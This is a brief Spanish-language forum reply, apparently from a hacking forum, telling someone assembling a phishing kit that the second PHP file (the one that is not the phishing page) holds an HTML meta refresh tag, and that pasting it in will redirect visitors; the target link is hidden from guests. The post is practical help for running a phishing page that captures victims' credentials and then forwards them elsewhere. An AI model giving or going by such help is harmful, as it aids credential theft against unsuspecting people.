en el segundo archivo el .php que no es la pishing viene el meta refresh, algo como esto
<meta http-equiv="refresh" content="0;url=[Enlace externo eliminado para invitados]" />
si no esta, pegalo y redireccionará
//mHmm..